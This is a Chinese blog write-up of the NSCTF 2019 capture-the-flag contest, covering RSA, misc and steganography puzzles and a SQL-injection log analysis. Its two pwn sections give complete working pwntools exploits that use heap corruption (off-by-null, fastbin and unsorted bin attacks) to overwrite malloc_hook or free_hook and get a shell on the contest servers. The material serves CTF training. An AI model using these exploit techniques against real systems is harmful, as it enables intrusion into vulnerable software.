avatar

CTF-NSCTF-2019年7月

划水划到了第四名,期间学到了很多,但是队伍因时间可能无法参加线下赛了,着实可惜。

Crypto

0x1 Rsa

在线网站http://factordb.com/ 分解N

发现三个素数

然后查阅文档 三素数rsa算法

发现和两个素数差不多,然后上脚本,解出hex 转str

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding:utf-8
from libnum import n2s,s2n
import base64
def gcd(a, b): #求最大公约数
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
if __name__ == "__main__":
p=810971978554706690040814093
q=782758164865345954251810941
r=1108609086364627583447802163
e = 59159
# tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==")
# =
d = modinv(e, (p - 1)*(r-1)*(q-1))
# c=s2n(tmp)
c = 449590107303744450592771521828486744432324538211104865947743276969382998354463377
#c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253
n = p*q*r
m=pow(c,d,n)
print (hex(m))

转化为ascii即为flag

flag{1e257b39a25c6a7c4d66e197}

Misc

0x1

题目:

1
a  aa a a aa  a a  a a  a a a a a  aa   a a a a a   aa  a aa  a a a      aaaa a a   aa  a aa  a a aa  a  aa  aa a  a a  a a aaa a  aaa   aa  a  a     a  aaaa a a a a   a a a   a a aa  a a a   a  a    a a  aa a a aaa a  aa    aaaa a  aaaa a a a aa  a a aaa a a aa  a  a aa a   a a  aa a a a a  aa a    aa  aaaa a  aaaa a

解法:

将a转为1空格转为0

然后直接转为十六进制

然后转化为ascii,然后进行栅栏得到MFTVYYTWJYVVU3TKLJHEUWS5FNWSY2LCPA======

1
2
3
4
5
6
7
import base64
str1="MFTVYYTWJYVVU3TKLJHEUWS5FNWSY2LCPA======"
a=base64.b32decode(str1)
str2=""
for i in a:
str2+=chr(i+5)
print (str2)

运行程序:flag{S0_so_SO_b0r1ng}

0x2


发现ascii解密后为iampass0rd

然后使用JPHS的seek,并输入上面的密码

输入密码后,保存文件,然后打开看到flag

flag{jphid_is_good}

0x3

Log analysis

将所有带%的字符的数据全部转为对应的ascii

然后看到有sql注入,且flag格式为flag{xxxxxxxxxxxxxxxxx}

搜索’}’的ascii即125,然后看到!=,那么就向前搜索带!=的字符串,并且将!=后面的数字取出来

结果:49 102 108 97 103 123 51 50 56 55 102 101 51 48 48 102 50 56 101 50 52 97 101 102 97 50 100 56 54 56 56 51 56 51 50 99 57 102 125

然后写一个转化程序

1
2
3
4
5
6
7
8
9
10
11
12
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
int main() {
while (1) {
int c;
scanf("%d", &c);
printf("%c", (char)c);
}
return 0;
}

然后输入49 102 108 97 103 123 51 50 56 55 102 101 51 48 48 102 50 56 101 50 52 97 101 102 97 50 100 56 54 56 56 51 56 51 50 99 57 102 125

即可拿到flag

flag{3287fe300f28e24aefa2d86883832c9f}

Pwn

0x1

发现edit输入idx时没有检查存在数组越界的情况,可以越界到标准输出流stdout,然后修改里面的数据,实现libc溢出

得到libc之后,通过null by one将unsorted bin的pre_inuse修改掉,并配好prv_size将其free,前一个unsorted bin被free但我们chunk_list依旧存在该bin的指针,实现一定空间的任意写,然后我们在其中间之前申请的fastbin进行fastbin attack,申请到malloc_hook的错位位置即0x7f的前8个字节处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn2")
sh = 0
lib = 0
def add(size,content):
sh.recvuntil("5.exit")
sh.sendline("1")
sh.recvuntil("Input the size:")
sh.sendline(str(size))
sh.recvuntil("Input the content:")
sh.send(content)
def free(idx):
sh.recvuntil("5.exit")
sh.sendline("2")
sh.recvuntil("Input the index:")
sh.sendline(str(idx))
def edit(idx,size,content):
sh.recvuntil("5.exit")
sh.sendline("4")
sh.recvuntil("Input the index:")
sh.sendline(str(idx))
sh.recvuntil("Input size:")
sh.sendline(str(size))
sh.recvuntil("Input new content:")
sh.send(content)
def show(idx):
sh.recvuntil("5.exit")
sh.sendline("3")
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn2")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
main_arena_offset = 0x3C4B20
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
main_arena_offset = 0x3C4B20
payload = p64(0xfbad1880)+p64(0x0)*3+'\x00'
edit(-16,0x28,payload)
sh.recvuntil(24*'\x00')
libc = u64(sh.recv(8))-0x3c36e0
log.success("libc_base -> "+hex(libc))
main_arena = libc + main_arena_offset
one_gadget = libc + 0xf1147
log.success("main_arena: " + hex(main_arena))
add(0xF8,"\x11" * 0xE8)
add(0x68,"\x22" * 0x58)
add(0x18,"\x33" * 0x8)
add(0xF8,"\x44" * 0xE8)
add(0x18,"\x55" * 0x10)
free(0)
edit(2,0x18,'\x00' * 0x10 + p64(0x190))
free(3)
payload = "a"*0xF0 + p64(0) + p64(0x71)
payload += '\x66' * (0x68 - 0x8)
payload += p64(0) + p64(0x21)
payload += '\x77' * 0x18
add(0x270,"a"*0x100)
edit(0,len(payload),payload)
free(1)
payload = "a"*0xF0 + p64(0) + p64(0x71)
payload += p64(main_arena - 0x1b-8) + p64(main_arena -0x1b-8)
edit(0,len(payload),payload)
add(0x60,"aaaaaaaaa")
add(0x60,"\x00" * 3 + p64(one_gadget))
#gdb.attach(sh)
sh.interactive()
if __name__ == "__main__":
pwn("39.106.184.130",8089,0)

flag{play_w1th_he4p_shrink}

0x2

1、ida分析看到name处存在栈溢出,可以覆盖到chunk_list的低位数据,这里我们可以利用该漏洞实现堆内局部地址随意读写,利用unsorted bin free的时候会存在main_arena,然后通过修改name将指针调整到该处然后show即可leak libc

2、先使用fastbin attack覆盖malloc_hook为one_gadget发现全部失效。所以采用unsorted bin attack在free_hook低位地址写入7fxxxxxx数据,然后利用fastbin attack 申请堆块到0x000000000007f处,这样就可以覆盖free_hook,由于我们已经知道libc了,所以覆盖的数据为system地址,然后再字符的头部写入sh\x00,然后free掉这个chunk,就等效于执行了system(“sh”),至于为什么不用/bin/sh\x00,因为实际操作中,/sh这三个字符串被覆盖了,导致字符串残缺无法拿到shell。

3、因为使用了unsorted bin attack,所以破坏了堆块申请机制,只要申请非之前已经free的fastbin就会报错,这个问题我花了5个小时去调试,最后只需在unsorted bin attack之前申请然后free三种不同堆块,且保证unsorted bin attack过程中不会用到这些fastbin即可,在完成unsorted bin attack之后,只需还有能申请三个堆块,其中一块为0x68大小,且三个堆块的高位地址全部相同,就可以使用fastbin attack覆盖free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn1")
sh = 0
lib = 0
def add(size):
sh.recvuntil("6.exit")
sh.sendline("1")
sh.recvuntil("Input the size")
sh.sendline(str(size))
def free():
sh.recvuntil("6.exit")
sh.sendline("2")
def show():
sh.recvuntil("6.exit")
sh.sendline("3")
def edit(content):
sh.recvuntil("6.exit")
sh.sendline("5")
sh.recvuntil("Input the note")
sh.send(content)
def editName(name):
sh.recvuntil("6.exit")
sh.sendline("4")
sh.recvuntil("Please input your name")
sh.send(name)
def init(name):
sh.recvuntil("Please input your name")
sh.send(name)
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn1")
lib = ELF("libc-2.23.so")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")

#0000000000202090
main_arena_offset = 0x3C4B20
init("a"*0x30)
add(0x80)
add(0x18)
editName("a"*0x30 + "\x10")
free()
add(0x18)
editName("a"*0x30 + "\x30")
show()
sh.recvuntil("\n")
main_arena = u64(sh.recvuntil("\n",True).ljust(8,"\x00")) - 88
libc = main_arena - main_arena_offset
system = libc + lib.symbols['system']
unsorted_bin_attack_addr = libc + 0x3C6768
fastbin_attack_addr = unsorted_bin_attack_addr + 0x18 - 0x1b + 0x10
add(0x10)
free()
add(0x68)
free()
add(0x30)
free()
add(0x90)
add(0x20)
editName("a" * 0x30 + "\x30")
free()
add(0x50)
editName("a" * 0x30 + "\x90")
edit('a' * 8 + p64(unsorted_bin_attack_addr))
add(0x30)
add(0x68)
add(0x10)
editName("a" * 0x30 + "\xc0")
free()
add(0x40)
editName("a" * 0x30 + "\xc0")
edit(p64(fastbin_attack_addr))
add(0x68)
add(0x68)
payload = "sh\x00"
payload = payload.ljust(0x30 - 5 - 8,"\x00")
edit(payload + p64(system))
free()
log.success("fastbin_attack_addr: " + hex(fastbin_attack_addr))
log.success("unsorted_bin_attack_addr: " + hex(unsorted_bin_attack_addr))
log.success("main_arena: " + hex(main_arena))
log.success("libc: " + hex(libc))
#gdb.attach(sh)
sh.interactive()
if __name__ == "__main__":
pwn("39.106.184.130",8090,0)

flag{pl4y_with_global_buffer_0verflow}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/07/04/CTF-NSCTF-2019%E5%B9%B47%E6%9C%88/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论